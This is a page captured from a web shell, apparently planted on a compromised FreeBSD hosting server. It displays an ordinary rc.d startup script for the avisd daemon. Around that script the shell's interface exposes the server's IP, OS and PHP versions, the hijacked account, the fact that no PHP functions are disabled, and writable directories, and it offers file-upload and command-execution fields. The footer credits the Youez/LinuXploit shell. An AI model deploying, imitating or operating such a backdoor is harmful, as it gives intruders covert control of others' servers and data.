403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.103
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/java/avis/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/java/avis/files/avisd.in
#!/bin/sh

# PROVIDE: avisd
# REQUIRE: LOGIN
# KEYWORD: shutdown

# Add the following line to /etc/rc.conf to enable `avisd':
#
#avisd_enable  (bool): Set to NO by default
#              Set to YES to enable avisd
#avisd_config  (path): Set to %%PREFIX%%/etc/avisd.conf
#              by default
#avisd_flags (params): Set to -daemon
#              by default
#avisd_pidfile (path): Set to /var/run/avisd.pid
#              by default
#avisd_logfile (path): Set to /var/log/avis.log
#              by default
#

. /etc/rc.subr

name="avisd"
rcvar=avisd_enable

command=%%PREFIX%%/sbin/avisd
command_interpreter=/bin/sh
required_files="%%PREFIX%%/etc/avisd.conf"

# read configuration and set defaults
load_rc_config "$name"

: ${avisd_enable="NO"}
: ${avisd_pidfile="/var/run/avisd.pid"}
: ${avisd_flags="-daemon"}
: ${avisd_config="%%PREFIX%%/etc/avisd.conf"}
: ${avisd_logfile="/var/log/avisd.log"}

pidfile="$avisd_pidfile"
command_args="-c $avisd_config $avisd_flags -pidfile $pidfile -logfile $avisd_logfile"

run_rc_command "$1"

Youez - 2016 - github.com/yon3zu
LinuXploit